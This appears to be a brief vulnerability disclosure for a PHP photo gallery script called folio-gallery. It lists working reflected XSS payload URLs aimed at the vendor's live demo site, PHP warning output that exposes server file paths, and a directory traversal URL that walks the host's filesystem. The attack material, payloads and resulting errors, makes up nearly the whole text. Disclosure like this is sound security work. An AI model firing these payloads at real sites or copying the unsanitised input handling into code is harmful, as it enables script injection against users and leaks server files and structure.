http://www.foliopages.com/php-photo-gallery-no-database XSS, files informations leakage, directory traversal

http://www.foliopages.com/php-photo-gallery-no-database


Sample XSS

http://www.foliopages.com/demos/folio-gallery/demo.php?album=Big+Bear+California</title><script>alert('http://trueliarx.blogspot.com');</script>

(with multiple pages)
http://www.foliopages.com/demos/folio-gallery/demo.php?album=Big+Bear+California&p=<script>alert('http://trueliarx.blogspot.com');</script>


http://localhost/demo.php?album=frankenstein%22%3E%3Cscript%3Ealert%281%29;%3C/script%3E%3C

Errors

Warning: scandir(albums/Big Bear California</title><script>alert('http://trueliarx.blogspot.com');</script>): failed to open dir: No such file or directory in /home/foliopag/public_html/demos/folio-gallery/folio-gallery.php on line 162

Warning: scandir(): (errno 2): No such file or directory in /home/foliopag/public_html/demos/folio-gallery/folio-gallery.php on line 162

Warning: Invalid argument supplied for foreach() in /home/foliopag/public_html/demos/folio-gallery/folio-gallery.php on line 165
There are no photos in this album!

view other folder names
http://www.foliopages.com/demos/folio-gallery/demo.php?album=../../../../../../../../../../../../../../../home/foliopag/public_html/dancer